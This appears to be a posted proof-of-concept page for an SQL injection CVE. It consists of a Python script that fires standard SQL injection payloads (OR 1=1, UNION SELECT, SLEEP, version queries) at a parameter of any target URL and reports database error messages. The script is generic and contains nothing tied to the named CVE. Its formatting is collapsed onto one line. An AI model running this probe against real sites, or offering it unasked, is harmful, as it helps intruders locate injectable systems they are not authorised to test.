CVE-2025-55065 SQL注入漏洞

# CVE-2025-55065 SQL Injection PoC # Target: Vulnerable endpoint with unsanitized SQL input import requests import argparse def test_sql_injection(url, param_name='id'): """Test for SQL injection vulnerability""" # Basic injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "1' ORDER BY 1--", "1' UNION SELECT @@version--" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing SQL injection on {url}") print(f"[*] Target parameter: {param_name}") for payload in payloads: try: params = {param_name: payload} response = requests.get(url, params=params, headers=headers, timeout=10) # Check for SQL error indicators sql_errors = [ 'sql syntax', 'mysql_', 'postgresql', 'ora-', 'microsoft sql', 'sqlite3', 'syntax error', 'unclosed quotation', 'quoted string not properly terminated' ] response_lower = response.text.lower() for error in sql_errors: if error in response_lower: print(f"[!] Potential SQL injection detected!") print(f"[!] Payload: {payload}") print(f"[!] Error found: {error}") return True except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") print("[*] No obvious SQL injection detected") return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-55065 SQL Injection Test') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-p', '--param', default='id', help='Parameter name to test') args = parser.parse_args() test_sql_injection(args.url, args.param)